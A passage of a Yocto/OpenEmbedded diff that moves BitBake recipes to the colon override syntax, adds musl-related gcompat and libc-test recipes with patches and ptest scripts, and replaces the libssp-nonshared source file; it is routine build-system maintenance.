+ conn.execute("delete from PRODUCTS where ID = ?", [cveId]).close()
+ for config in elt['cve']['configurations']:
+ # This is suboptimal as it doesn't handle AND/OR and negate, but is better than nothing
+ for node in config["nodes"]:
+ parse_node_and_insert(conn, node, cveId)
+ except KeyError:
+ bb.note("CVE %s has no configurations" % cveId)
+
+do_fetch[nostamp] = "1"
+
+EXCLUDE_FROM_WORLD = "1"
diff --git a/meta/recipes-core/meta/dummy-sdk-package.inc b/meta/recipes-core/meta/dummy-sdk-package.inc
index bedde2965c..bd26e39ad3 100644
--- a/meta/recipes-core/meta/dummy-sdk-package.inc
+++ b/meta/recipes-core/meta/dummy-sdk-package.inc
@@ -13,7 +13,7 @@ python() {
d.setVar('PACKAGE_ARCH', '${DUMMYARCH}')
}
-ALLOW_EMPTY_${PN} = "1"
+ALLOW_EMPTY:${PN} = "1"
PR[vardeps] += "DUMMYPROVIDES"
PR[vardeps] += "DUMMYPROVIDES_PACKAGES"
@@ -22,10 +22,10 @@ DUMMYPROVIDES_PACKAGES ??= ""
DUMMYPROVIDES_PACKAGES_MULTILIB = "${@' '.join([multilib_pkg_extend(d, pkg) for pkg in d.getVar('DUMMYPROVIDES_PACKAGES').split()])}"
DUMMYPROVIDES += "${DUMMYPROVIDES_PACKAGES_MULTILIB}"
-python populate_packages_prepend() {
+python populate_packages:prepend() {
p = d.getVar("PN")
- d.appendVar("RPROVIDES_%s" % p, "${DUMMYPROVIDES}")
- d.appendVar("RCONFLICTS_%s" % p, "${DUMMYPROVIDES}")
- d.appendVar("RREPLACES_%s" % p, "${DUMMYPROVIDES_PACKAGES_MULTILIB}")
+ d.appendVar("RPROVIDES:%s" % p, "${DUMMYPROVIDES}")
+ d.appendVar("RCONFLICTS:%s" % p, "${DUMMYPROVIDES}")
+ d.appendVar("RREPLACES:%s" % p, "${DUMMYPROVIDES_PACKAGES_MULTILIB}")
}
diff --git a/meta/recipes-core/meta/meta-environment-extsdk.bb b/meta/recipes-core/meta/meta-environment-extsdk.bb
index 2076b56f25..706312b0d6 100644
--- a/meta/recipes-core/meta/meta-environment-extsdk.bb
+++ b/meta/recipes-core/meta/meta-environment-extsdk.bb
@@ -4,7 +4,7 @@ require meta-environment.bb
PN = "meta-environment-extsdk-${MACHINE}"
-create_sdk_files_append() {
+create_sdk_files:append() {
local sysroot=${SDKPATH}/tmp/${@os.path.relpath(d.getVar('STAGING_DIR'), d.getVar('TMPDIR'))}/${MACHINE}
local sdkpathnative=${SDKPATH}/tmp/${@os.path.relpath(d.getVar('STAGING_DIR'), d.getVar('TMPDIR'))}/${BUILD_ARCH}
diff --git a/meta/recipes-core/meta/meta-environment.bb b/meta/recipes-core/meta/meta-environment.bb
index da1230bead..65436bc3e6 100644
--- a/meta/recipes-core/meta/meta-environment.bb
+++ b/meta/recipes-core/meta/meta-environment.bb
@@ -1,6 +1,5 @@
SUMMARY = "Package of environment files for SDK"
LICENSE = "MIT"
-PR = "r8"
EXCLUDE_FROM_WORLD = "1"
@@ -9,7 +8,7 @@ MODIFYTOS = "0"
REAL_MULTIMACH_TARGET_SYS = "${TUNE_PKGARCH}${TARGET_VENDOR}-${TARGET_OS}"
inherit toolchain-scripts
-TOOLCHAIN_NEED_CONFIGSITE_CACHE_append = " zlib"
+TOOLCHAIN_NEED_CONFIGSITE_CACHE:append = " zlib"
# Need to expand here before cross-candian changes HOST_ARCH -> SDK_ARCH
TOOLCHAIN_CONFIGSITE_NOCACHE := "${TOOLCHAIN_CONFIGSITE_NOCACHE}"
@@ -47,6 +46,11 @@ python do_generate_content() {
}
addtask generate_content before do_install after do_compile
+python () {
+ sitefiles, searched = siteinfo_get_files(d, sysrootcache=False)
+ d.appendVarFlag("do_generate_content", "file-checksums", " " + " ".join(searched))
+}
+
create_sdk_files() {
# Setup site file for external use
toolchain_create_sdk_siteconfig ${SDK_OUTPUT}/${SDKPATH}/site-config-${REAL_MULTIMACH_TARGET_SYS}
@@ -66,7 +70,7 @@ do_install() {
PN = "meta-environment-${MACHINE}"
PACKAGES = "${PN}"
-FILES_${PN}= " \
+FILES:${PN}= " \
${SDKPATH}/* \
"
diff --git a/meta/recipes-core/meta/meta-go-toolchain.bb b/meta/recipes-core/meta/meta-go-toolchain.bb
index dde385c1b1..c24518efe3 100644
--- a/meta/recipes-core/meta/meta-go-toolchain.bb
+++ b/meta/recipes-core/meta/meta-go-toolchain.bb
@@ -3,10 +3,10 @@ LICENSE = "MIT"
inherit populate_sdk
-TOOLCHAIN_HOST_TASK_append = " \
+TOOLCHAIN_HOST_TASK:append = " \
packagegroup-go-cross-canadian-${MACHINE} \
"
-TOOLCHAIN_TARGET_TASK_append = " \
+TOOLCHAIN_TARGET_TASK:append = " \
${@multilib_pkg_extend(d, 'packagegroup-go-sdk-target')} \
"
diff --git a/meta/recipes-core/meta/meta-ide-support.bb b/meta/recipes-core/meta/meta-ide-support.bb
index 768f6f4bb6..d85aa120c0 100644
--- a/meta/recipes-core/meta/meta-ide-support.bb
+++ b/meta/recipes-core/meta/meta-ide-support.bb
@@ -2,14 +2,39 @@ SUMMARY = "Integrated Development Environment support"
DESCRIPTION = "Meta package for ensuring the build directory contains all appropriate toolchain packages for using an IDE"
LICENSE = "MIT"
-DEPENDS = "virtual/libc gdb-cross-${TARGET_ARCH} qemu-native qemu-helper-native unfs3-native cmake-native"
-PR = "r3"
+DEPENDS = "virtual/libc gdb-cross-${TARGET_ARCH} qemu-native qemu-helper-native unfs3-native cmake-native autoconf-native automake-native meson-native intltool-native pkgconfig-native"
RM_WORK_EXCLUDE += "${PN}"
-inherit meta toolchain-scripts nopackages
+inherit toolchain-scripts nopackages deploy testsdk
+
+TESTSDK_CLASS_NAME = "oeqa.sdk.testmetaidesupport.TestSDK"
do_populate_ide_support () {
toolchain_create_tree_env_script
}
-addtask populate_ide_support before do_build after do_install
+python () {
+ sitefiles, searched = siteinfo_get_files(d, sysrootcache=False)
+ d.setVar("CONFIG_SITE", " ".join(sitefiles))
+ d.appendVarFlag("do_populate_ide_support", "file-checksums", " " + " ".join(searched))
+}
+
+addtask populate_ide_support before do_deploy after do_install
+
+python do_write_test_data() {
+ from oe.data import export2json
+
+ out_dir = d.getVar('B')
+ testdata_name = os.path.join(out_dir, "%s.testdata.json" % d.getVar('PN'))
+
+ export2json(d, testdata_name)
+}
+addtask write_test_data before do_deploy after do_install
+
+do_deploy () {
+ install ${B}/* ${DEPLOYDIR}
+}
+
+addtask deploy before do_build
+
+do_build[deptask] += "do_prepare_recipe_sysroot"
diff --git a/meta/recipes-core/meta/meta-toolchain.bb b/meta/recipes-core/meta/meta-toolchain.bb
index b02b0665e6..260e03934e 100644
--- a/meta/recipes-core/meta/meta-toolchain.bb
+++ b/meta/recipes-core/meta/meta-toolchain.bb
@@ -1,6 +1,5 @@
SUMMARY = "Meta package for building a installable toolchain"
LICENSE = "MIT"
-PR = "r7"
inherit populate_sdk
diff --git a/meta/recipes-core/meta/meta-world-pkgdata.bb b/meta/recipes-core/meta/meta-world-pkgdata.bb
index b299861375..0438bf6138 100644
--- a/meta/recipes-core/meta/meta-world-pkgdata.bb
+++ b/meta/recipes-core/meta/meta-world-pkgdata.bb
@@ -33,6 +33,8 @@ deltask do_patch
deltask do_configure
deltask do_compile
deltask do_install
+deltask do_create_spdx
+deltask do_create_spdx_runtime
do_prepare_recipe_sysroot[deptask] = ""
diff --git a/meta/recipes-core/meta/nativesdk-buildtools-perl-dummy.bb b/meta/recipes-core/meta/nativesdk-buildtools-perl-dummy.bb
index cfa41c4ae6..bb4e746237 100644
--- a/meta/recipes-core/meta/nativesdk-buildtools-perl-dummy.bb
+++ b/meta/recipes-core/meta/nativesdk-buildtools-perl-dummy.bb
@@ -17,20 +17,25 @@ DUMMYPROVIDES_PACKAGES = "\
nativesdk-perl-module-file-path \
nativesdk-perl-module-file-spec \
nativesdk-perl-module-file-stat \
+ nativesdk-perl-module-file-temp \
nativesdk-perl-module-getopt-long \
nativesdk-perl-module-io-file \
+ nativesdk-perl-module-list-util \
nativesdk-perl-module-overloading \
nativesdk-perl-module-posix \
+ nativesdk-perl-module-scalar-util \
+ nativesdk-perl-module-strict \
+ nativesdk-perl-module-text-parsewords \
nativesdk-perl-module-thread-queue \
nativesdk-perl-module-threads \
nativesdk-perl-module-warnings \
+ nativesdk-perl-module-vars \
"
DUMMYPROVIDES = "\
/usr/bin/perl \
"
-PR = "r2"
require dummy-sdk-package.inc
diff --git a/meta/recipes-core/meta/nativesdk-sdk-provides-dummy.bb b/meta/recipes-core/meta/nativesdk-sdk-provides-dummy.bb
index 29f4dd3633..1d71f373a4 100644
--- a/meta/recipes-core/meta/nativesdk-sdk-provides-dummy.bb
+++ b/meta/recipes-core/meta/nativesdk-sdk-provides-dummy.bb
@@ -4,8 +4,8 @@ DUMMYPROVIDES_PACKAGES = "\
pkgconfig \
"
-# Add /bin/sh?
DUMMYPROVIDES = "\
+ /bin/sh \
/bin/bash \
/usr/bin/env \
libGL.so()(64bit) \
diff --git a/meta/recipes-core/meta/signing-keys.bb b/meta/recipes-core/meta/signing-keys.bb
index 5bab94aa36..107a39d658 100644
--- a/meta/recipes-core/meta/signing-keys.bb
+++ b/meta/recipes-core/meta/signing-keys.bb
@@ -14,9 +14,11 @@ SYSROOT_DIRS += "${sysconfdir}/pki"
PACKAGES =+ "${PN}-ipk ${PN}-rpm ${PN}-packagefeed"
-FILES_${PN}-rpm = "${sysconfdir}/pki/rpm-gpg"
-FILES_${PN}-ipk = "${sysconfdir}/pki/ipk-gpg"
-FILES_${PN}-packagefeed = "${sysconfdir}/pki/packagefeed-gpg"
+FILES:${PN}-rpm = "${sysconfdir}/pki/rpm-gpg"
+FILES:${PN}-ipk = "${sysconfdir}/pki/ipk-gpg"
+FILES:${PN}-packagefeed = "${sysconfdir}/pki/packagefeed-gpg"
+
+RDEPENDS:${PN}-dev = ""
python do_get_public_keys () {
from oe.gpg_sign import get_signer
diff --git a/meta/recipes-core/meta/target-sdk-provides-dummy.bb b/meta/recipes-core/meta/target-sdk-provides-dummy.bb
index e3beeb796c..849407cca5 100644
--- a/meta/recipes-core/meta/target-sdk-provides-dummy.bb
+++ b/meta/recipes-core/meta/target-sdk-provides-dummy.bb
@@ -58,4 +58,4 @@ DUMMYPROVIDES = "\
require dummy-sdk-package.inc
-SSTATE_DUPWHITELIST += "${PKGDATA_DIR}/${PN} ${PKGDATA_DIR}/runtime/${PN}"
+SSTATE_ALLOW_OVERLAP_FILES += "${PKGDATA_DIR}/${PN} ${PKGDATA_DIR}/runtime/${PN}"
diff --git a/meta/recipes-core/meta/testexport-tarball.bb b/meta/recipes-core/meta/testexport-tarball.bb
index c38ac902a0..abdd009252 100644
--- a/meta/recipes-core/meta/testexport-tarball.bb
+++ b/meta/recipes-core/meta/testexport-tarball.bb
@@ -4,11 +4,11 @@ DESCRIPTION = "SDK type target for standalone tarball containing packages define
SUMMARY = "Standalone tarball for test systems with missing software"
LICENSE = "MIT"
-TEST_EXPORT_SDK_PACKAGES ??= ""
+require conf/testexport.conf
TOOLCHAIN_TARGET_TASK ?= ""
-TOOLCHAIN_HOST_TASK ?= "${TEST_EXPORT_SDK_PACKAGES}"
+TOOLCHAIN_HOST_TASK ?= "${TEST_EXPORT_SDK_PACKAGES} nativesdk-sdk-provides-dummy"
MULTIMACH_TARGET_SYS = "${SDK_ARCH}-nativesdk${SDK_VENDOR}-${SDK_OS}"
PACKAGE_ARCH = "${SDK_ARCH}_${SDK_OS}"
@@ -26,7 +26,6 @@ RDEPENDS = "${TOOLCHAIN_HOST_TASK}"
EXCLUDE_FROM_WORLD = "1"
-inherit meta
inherit populate_sdk
inherit toolchain-scripts-base
inherit nopackages
@@ -38,7 +37,7 @@ do_populate_sdk[stamp-extra-info] = "${PACKAGE_ARCH}"
REAL_MULTIMACH_TARGET_SYS = "none"
-create_sdk_files_append () {
+create_sdk_files:append () {
rm -f ${SDK_OUTPUT}/${SDKPATH}/site-config-*
rm -f ${SDK_OUTPUT}/${SDKPATH}/environment-setup-*
rm -f ${SDK_OUTPUT}/${SDKPATH}/version-*
@@ -58,8 +57,8 @@ create_sdk_files_append () {
if [ "${SDKMACHINE}" = "i686" ]; then
echo 'export NO32LIBS="0"' >>$script
- echo 'echo "$BB_ENV_EXTRAWHITE" | grep -q "NO32LIBS"' >>$script
- echo '[ $? != 0 ] && export BB_ENV_EXTRAWHITE="NO32LIBS $BB_ENV_EXTRAWHITE"' >>$script
+ echo 'echo "$BB_ENV_PASSTHROUGH_ADDITIONS" | grep -q "NO32LIBS"' >>$script
+ echo '[ $? != 0 ] && export BB_ENV_PASSTHROUGH_ADDITIONS="NO32LIBS $BB_ENV_PASSTHROUGH_ADDITIONS"' >>$script
fi
}
diff --git a/meta/recipes-core/meta/uninative-tarball.bb b/meta/recipes-core/meta/uninative-tarball.bb
index 39638eb8c5..7eebcaf11a 100644
--- a/meta/recipes-core/meta/uninative-tarball.bb
+++ b/meta/recipes-core/meta/uninative-tarball.bb
@@ -3,21 +3,16 @@ LICENSE = "MIT"
TOOLCHAIN_TARGET_TASK = ""
-# ibm850 - mcopy from mtools
-# iso8859-1 - guile
-# utf-16, cp1252 - binutils-windres
TOOLCHAIN_HOST_TASK = "\
nativesdk-glibc \
- nativesdk-glibc-gconv-ibm850 \
- nativesdk-glibc-gconv-iso8859-1 \
- nativesdk-glibc-gconv-utf-16 \
- nativesdk-glibc-gconv-cp1252 \
- nativesdk-glibc-gconv-euc-jp \
- nativesdk-glibc-gconv-libjis \
+ nativesdk-glibc-dbg \
+ nativesdk-glibc-gconvs \
nativesdk-patchelf \
nativesdk-libxcrypt \
nativesdk-libxcrypt-compat \
nativesdk-libnss-nis \
+ nativesdk-sdk-provides-dummy \
+ nativesdk-libgcc \
"
INHIBIT_DEFAULT_DEPS = "1"
@@ -34,7 +29,6 @@ RDEPENDS = "${TOOLCHAIN_HOST_TASK}"
EXCLUDE_FROM_WORLD = "1"
-inherit meta
inherit populate_sdk
inherit nopackages
diff --git a/meta/recipes-core/meta/wic-tools.bb b/meta/recipes-core/meta/wic-tools.bb
index 3e7d0ed48d..76494e7fca 100644
--- a/meta/recipes-core/meta/wic-tools.bb
+++ b/meta/recipes-core/meta/wic-tools.bb
@@ -3,14 +3,16 @@ SUMMARY = "A meta recipe to build native tools used by wic."
LICENSE = "MIT"
DEPENDS = "\
- parted-native syslinux-native gptfdisk-native dosfstools-native \
- mtools-native bmap-tools-native grub-native cdrtools-native \
+ parted-native gptfdisk-native dosfstools-native \
+ mtools-native bmaptool-native grub-native cdrtools-native \
btrfs-tools-native squashfs-tools-native pseudo-native \
- e2fsprogs-native util-linux-native tar-native\
+ e2fsprogs-native util-linux-native tar-native erofs-utils-native \
+ virtual/${TARGET_PREFIX}binutils \
"
-DEPENDS_append_x86 = " syslinux grub-efi systemd-boot"
-DEPENDS_append_x86-64 = " syslinux grub-efi systemd-boot"
-DEPENDS_append_x86-x32 = " syslinux grub-efi"
+DEPENDS:append:x86 = " syslinux-native syslinux grub-efi systemd-boot"
+DEPENDS:append:x86-64 = " syslinux-native syslinux grub-efi systemd-boot"
+DEPENDS:append:x86-x32 = " syslinux-native syslinux grub-efi"
+DEPENDS:append:aarch64 = " grub-efi systemd-boot"
INHIBIT_DEFAULT_DEPS = "1"
diff --git a/meta/recipes-core/musl/bsd-headers.bb b/meta/recipes-core/musl/bsd-headers.bb
index c9945d45eb..887a816031 100644
--- a/meta/recipes-core/musl/bsd-headers.bb
+++ b/meta/recipes-core/musl/bsd-headers.bb
@@ -27,5 +27,5 @@ do_install() {
#
COMPATIBLE_HOST = ".*-musl.*"
-RDEPENDS_${PN}-dev = ""
-RRECOMMENDS_${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
+DEV_PKG_DEPENDENCY = ""
+RRECOMMENDS:${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
diff --git a/meta/recipes-core/musl/bsd-headers/sys-cdefs.h b/meta/recipes-core/musl/bsd-headers/sys-cdefs.h
index 209a623c0f..841a5da8ba 100644
--- a/meta/recipes-core/musl/bsd-headers/sys-cdefs.h
+++ b/meta/recipes-core/musl/bsd-headers/sys-cdefs.h
@@ -1,3 +1,6 @@
+#ifndef _SYS_CDEFS_H_
+#define _SYS_CDEFS_H_
+
#warning usage of non-standard #include <sys/cdefs.h> is deprecated
#undef __P
@@ -24,3 +27,8 @@
# define __THROW
# define __NTH(fct) fct
#endif
+
+#define __CONCAT(x,y) x ## y
+#define __STRING(x) #x
+
+#endif /* _SYS_CDEFS_H_ */
diff --git a/meta/recipes-core/musl/gcompat/0001-Add-fcntl64-wrapper.patch b/meta/recipes-core/musl/gcompat/0001-Add-fcntl64-wrapper.patch
new file mode 100644
index 0000000000..3f265e273a
--- /dev/null
+++ b/meta/recipes-core/musl/gcompat/0001-Add-fcntl64-wrapper.patch
@@ -0,0 +1,44 @@
+From 37f70f54c74c4ceeb089cbee88311ba00638f211 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 13 Oct 2023 21:02:23 -0700
+Subject: [PATCH] Add fcntl64 wrapper
+
+fixes loadtime errors with pvr precompiled driver for visionfive2
+
+load libpvr_dri_support.so: Error relocating /usr/lib/libpvr_dri_support.so: fcntl64: symbol not found
+
+Upstream-Status: Submitted [https://git.adelielinux.org/adelie/gcompat/-/merge_requests/28]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ libgcompat/unistd.c | 11 +++++++++++
+ 1 file changed, 11 insertions(+)
+
+diff --git a/libgcompat/unistd.c b/libgcompat/unistd.c
+index 011fba2..400abf3 100644
+--- a/libgcompat/unistd.c
++++ b/libgcompat/unistd.c
+@@ -1,6 +1,7 @@
+ #include <assert.h> /* assert */
+ #include <fcntl.h> /* O_CREAT */
+ #include <limits.h> /* NGROUPS_MAX */
++#include <stdarg.h> /* va_list, va_start, va_end */
+ #include <stddef.h> /* NULL, size_t */
+ #include <unistd.h> /* confstr, getcwd, getgroups, ... */
+ #include <errno.h> /* ENOSYS, ENOMEM */
+@@ -250,3 +251,13 @@ int __close(int fd)
+ {
+ return close(fd);
+ }
++
++int fcntl64 (int fd, int cmd, ...)
++{
++ int ret;
++ va_list ap;
++ va_start(ap, cmd);
++ ret = fcntl(fd, cmd, ap);
++ va_end(ap);
++ return ret;
++}
+--
+2.42.0
+
diff --git a/meta/recipes-core/musl/gcompat/0001-make-Static-PIE-does-not-work-on-musl-ppc.patch b/meta/recipes-core/musl/gcompat/0001-make-Static-PIE-does-not-work-on-musl-ppc.patch
new file mode 100644
index 0000000000..1d731163d0
--- /dev/null
+++ b/meta/recipes-core/musl/gcompat/0001-make-Static-PIE-does-not-work-on-musl-ppc.patch
@@ -0,0 +1,30 @@
+From 01180e78fe9568e7fb2673ba61801c42f0f70115 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 11 Mar 2022 10:37:51 -0800
+Subject: [PATCH] make: Static PIE does not work on musl/ppc
+
+Fixes linker error e.g.
+"read-only segment has dynamic relocations"
+
+Upstream-Status: Inappropriate [OE specific]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ Makefile | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/Makefile b/Makefile
+index cbb7634..69ee228 100644
+--- a/Makefile
++++ b/Makefile
+@@ -76,7 +76,7 @@ ${LIBGCOMPAT_NAME}: ${LIBGCOMPAT_OBJ}
+ ${LIBGCOMPAT_OBJ}: ${LIBGCOMPAT_INCLUDE}
+
+ ${LOADER_NAME}: ${LOADER_OBJ}
+- ${CC} ${CFLAGS} ${LDFLAGS} -static-pie -o ${LOADER_NAME} ${LOADER_OBJ}
++ ${CC} ${CFLAGS} ${LDFLAGS} -static -o ${LOADER_NAME} ${LOADER_OBJ}
+
+ .c.o:
+ ${CC} ${CPPFLAGS} ${CFLAGS} -c -D_BSD_SOURCE \
+--
+2.35.1
+
diff --git a/meta/recipes-core/musl/gcompat_git.bb b/meta/recipes-core/musl/gcompat_git.bb
new file mode 100644
index 0000000000..40fe8c6a5f
--- /dev/null
+++ b/meta/recipes-core/musl/gcompat_git.bb
@@ -0,0 +1,60 @@
+# Copyright (C) 2021 Khem Raj <raj.khem@gmail.com>
+# Released under the MIT license (see COPYING.MIT for the terms)
+
+SUMMARY = "A library which provides glibc-compatible APIs for use on musl libc systems"
+HOMEPAGE = "https://git.adelielinux.org/adelie/gcompat"
+
+LICENSE = "NCSA"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=802b1aed7330d90086be4de63a3188e3"
+
+SRC_URI = "git://git.adelielinux.org/adelie/gcompat.git;protocol=https;branch=current \
+ file://0001-Add-fcntl64-wrapper.patch \
+ "
+SRC_URI:append:powerpc = "\
+ file://0001-make-Static-PIE-does-not-work-on-musl-ppc.patch \
+ "
+PV = "1.1.0"
+SRCREV = "b7bfe0b08c52fdc72e0c1d9d4dcb2129f1642bd6"
+
+S = "${WORKDIR}/git"
+
+inherit pkgconfig linuxloader siteinfo
+
+DEPENDS += "musl-obstack"
+
+GLIBC_LDSO = "${@get_glibc_loader(d)}"
+MUSL_LDSO = "${@get_musl_loader(d)}"
+
+EXTRA_OEMAKE = "LINKER_PATH=${MUSL_LDSO} \
+ LOADER_NAME=`basename ${GLIBC_LDSO}` \
+ "
+
+do_configure () {
+ :
+}
+
+do_compile () {
+ oe_runmake
+}
+
+do_install () {
+ oe_runmake install 'DESTDIR=${D}${root_prefix}'
+ if [ "${SITEINFO_BITS}" = "64" ]; then
+ install -d ${D}${nonarch_base_libdir}${SITEINFO_BITS}
+ ln -rs ${D}${GLIBC_LDSO} ${D}${nonarch_base_libdir}${SITEINFO_BITS}/`basename ${GLIBC_LDSO}`
+ fi
+ install -d ${D}${libdir}
+ ln -sf ${base_libdir}/libgcompat.so.0 ${D}${libdir}/libgcompat.so
+}
+
+FILES:${PN} += "${nonarch_base_libdir}${SITEINFO_BITS}"
+
+INSANE_SKIP:${PN} = "libdir"
+
+RPROVIDES:${PN} += "musl-glibc-compat"
+#
+# We will skip parsing for non-musl systems
+#
+COMPATIBLE_HOST = ".*-musl.*"
+
+UPSTREAM_CHECK_COMMITS = "1"
diff --git a/meta/recipes-core/musl/libc-test/run-libc-ptests b/meta/recipes-core/musl/libc-test/run-libc-ptests
new file mode 100644
index 0000000000..0b4b687dec
--- /dev/null
+++ b/meta/recipes-core/musl/libc-test/run-libc-ptests
@@ -0,0 +1,28 @@
+#!/bin/sh
+
+set -e
+
+cd /opt/libc-test
+make cleanall
+make run || true
+
+echo ""
+echo "--- ptest result ---"
+# libc-test runs tests by module(e.g. src/api) and generates sub-module test
+# report(e.g. src/api/REPORT) first. After all tests finish, it generates the
+# consolidated report file src/REPORT.
+report="/opt/libc-test/src/REPORT"
+if ! [ -f "${report}" ]; then
+ echo "${report} not found!"
+ echo "FAIL: libc-test"
+ exit 1
+# libc-test prints error on failure and prints nothing on success.
+elif grep -q '^FAIL src.*\.exe.*' "${report}"; then
+ # Print test failure in ptest format.
+ # e.g. "FAIL src/api/main.exe [status 1]" -> "FAIL: api_main"
+ grep '^FAIL src.*\.exe.*' "${report}" \
+ | sed 's|^FAIL src/|FAIL: |;s|/|_|;s|\.exe.*\]||'
+ exit 1
+else
+ echo "PASS: libc-test"
+fi
diff --git a/meta/recipes-core/musl/libc-test/run-ptest b/meta/recipes-core/musl/libc-test/run-ptest
new file mode 100644
index 0000000000..53cd34f506
--- /dev/null
+++ b/meta/recipes-core/musl/libc-test/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+chown -R ptest:ptest /opt/libc-test
+ su -c ./run-libc-ptests ptest
diff --git a/meta/recipes-core/musl/libc-test_git.bb b/meta/recipes-core/musl/libc-test_git.bb
new file mode 100644
index 0000000000..619a959fd2
--- /dev/null
+++ b/meta/recipes-core/musl/libc-test_git.bb
@@ -0,0 +1,57 @@
+SUMMARY = "Musl libc unit tests"
+HOMEPAGE = "https://wiki.musl-libc.org/libc-test.html"
+DESCRIPTION = "libc-test is a collection of unit tests to measure the \
+correctness and robustness of a C/POSIX standard library implementation. It is \
+developed as part of the musl project."
+SECTION = "tests"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=43ed1245085be90dc934288117d55a3b"
+
+inherit ptest
+
+SRCREV = "18e28496adee3d84fefdda6efcb9c5b8996a2398"
+SRC_URI = " \
+ git://repo.or.cz/libc-test;branch=master;protocol=https \
+ file://run-ptest \
+ file://run-libc-ptests \
+"
+
+PV = "0+git"
+
+S = "${WORKDIR}/git"
+
+# libc-test 'make' or 'make run' command is designed to build and run tests. It
+# reports both build and test failures. The commands should be run on target.
+do_compile() {
+ :
+}
+
+RDEPENDS:${PN} = " \
+ bash \
+ grep \
+ musl \
+ packagegroup-core-buildessential \
+"
+
+RDEPENDS:${PN}-ptest = " \
+ ${PN} \
+ musl-staticdev \
+ sed \
+"
+
+install_path = "/opt/${PN}"
+FILES:${PN} += "${install_path}/*"
+
+do_install () {
+ install -d ${D}${install_path}/
+ cp ${S}/Makefile ${D}${install_path}
+ cp ${S}/config.mak.def ${D}${install_path}/config.mak
+ cp -r ${S}/src ${D}${install_path}
+}
+
+do_install_ptest_base:append() {
+ install -Dm 0755 ${WORKDIR}/run-libc-ptests ${D}${PTEST_PATH}/run-libc-ptests
+}
+
+COMPATIBLE_HOST = "null"
+COMPATIBLE_HOST:libc-musl = "(.*)"
diff --git a/meta/recipes-core/musl/libssp-nonshared.bb b/meta/recipes-core/musl/libssp-nonshared.bb
index bae8c81cc7..3faf8f00c3 100644
--- a/meta/recipes-core/musl/libssp-nonshared.bb
+++ b/meta/recipes-core/musl/libssp-nonshared.bb
@@ -2,11 +2,12 @@
# Released under the MIT license (see COPYING.MIT for the terms)
SUMMARY = "Minimal libssp_nonshared.a must needed for ssp to work with gcc on musl"
-LICENSE = "GPL-3.0-with-GCC-exception"
-LIC_FILES_CHKSUM = "file://ssp-local.c;beginline=1;endline=32;md5=c06d391208c0cfcbc541a6728ed65cc4"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://stack_chk.c;beginline=1;endline=30;md5=97e59d9deee678a9332c9ddb2ab6360d"
SECTION = "libs"
-SRC_URI = "file://ssp-local.c"
+# Sourced from https://github.com/intel/linux-sgx/blob/master/sdk/compiler-rt/stack_chk.c
+SRC_URI = "file://stack_chk.c"
INHIBIT_DEFAULT_DEPS = "1"
@@ -19,8 +20,8 @@ do_configure[noexec] = "1"
S = "${WORKDIR}"
do_compile() {
- ${CC} ${CPPFLAGS} ${CFLAGS} -fPIE -c ssp-local.c -o ssp-local.o
- ${AR} r libssp_nonshared.a ssp-local.o
+ ${CC} ${CPPFLAGS} ${CFLAGS} -fPIE -c stack_chk.c -o stack_chk.o
+ ${AR} r libssp_nonshared.a stack_chk.o
}
do_install() {
install -Dm 0644 ${B}/libssp_nonshared.a ${D}${base_libdir}/libssp_nonshared.a
@@ -29,6 +30,6 @@ do_install() {
# We will skip parsing for non-musl systems
#
COMPATIBLE_HOST = ".*-musl.*"
-RDEPENDS_${PN}-staticdev = ""
-RDEPENDS_${PN}-dev = ""
-RRECOMMENDS_${PN}-dbg = "${PN}-staticdev (= ${EXTENDPKGV})"
+RDEPENDS:${PN}-staticdev = ""
+DEV_PKG_DEPENDENCY = ""
+RRECOMMENDS:${PN}-dbg = "${PN}-staticdev (= ${EXTENDPKGV})"
diff --git a/meta/recipes-core/musl/libssp-nonshared/ssp-local.c b/meta/recipes-core/musl/libssp-nonshared/ssp-local.c
deleted file mode 100644
index 8f51afa2c1..0000000000
--- a/meta/recipes-core/musl/libssp-nonshared/ssp-local.c
+++ /dev/null
@@ -1,45 +0,0 @@
-/* Stack protector support.
- Copyright (C) 2005-2018 Free Software Foundation, Inc.
-
-This file is part of GCC.
-
-GCC is free software; you can redistribute it and/or modify it under
-the terms of the GNU General Public License as published by the Free
-Software Foundation; either version 3, or (at your option) any later
-version.
-
-In addition to the permissions in the GNU General Public License, the
-Free Software Foundation gives you unlimited permission to link the
-compiled version of this file into combinations with other programs,
-and to distribute those combinations without any restriction coming
-from the use of this file. (The General Public License restrictions
-do apply in other respects; for example, they cover modification of
-the file, and distribution when not linked into a combine
-executable.)
-
-GCC is distributed in the hope that it will be useful, but WITHOUT ANY
-WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
-for more details.
-
-Under Section 7 of GPL version 3, you are granted additional
-permissions described in the GCC Runtime Library Exception, version
-3.1, as published by the Free Software Foundation.
-
-You should have received a copy of the GNU General Public License and
-a copy of the GCC Runtime Library Exception along with this program;
-see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
-<http://www.gnu.org/licenses/>. */
-
-extern void __stack_chk_fail (void);
-
-/* Some targets can avoid loading a GP for calls to hidden functions.
- Using this entry point may avoid the load of a GP entirely for the
- function, making the overall code smaller. */
-
-void
-__attribute__((visibility ("hidden")))
-__stack_chk_fail_local (void)
-{
- __stack_chk_fail ();
-}
diff --git a/meta/recipes-core/musl/libssp-nonshared/stack_chk.c b/meta/recipes-core/musl/libssp-nonshared/stack_chk.c
new file mode 100644
index 0000000000..097aae24b6
--- /dev/null
+++ b/meta/recipes-core/musl/libssp-nonshared/stack_chk.c
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2011-2021 Intel Corporation. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * * Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * * Redistributions in binary form must reproduce the above copyright
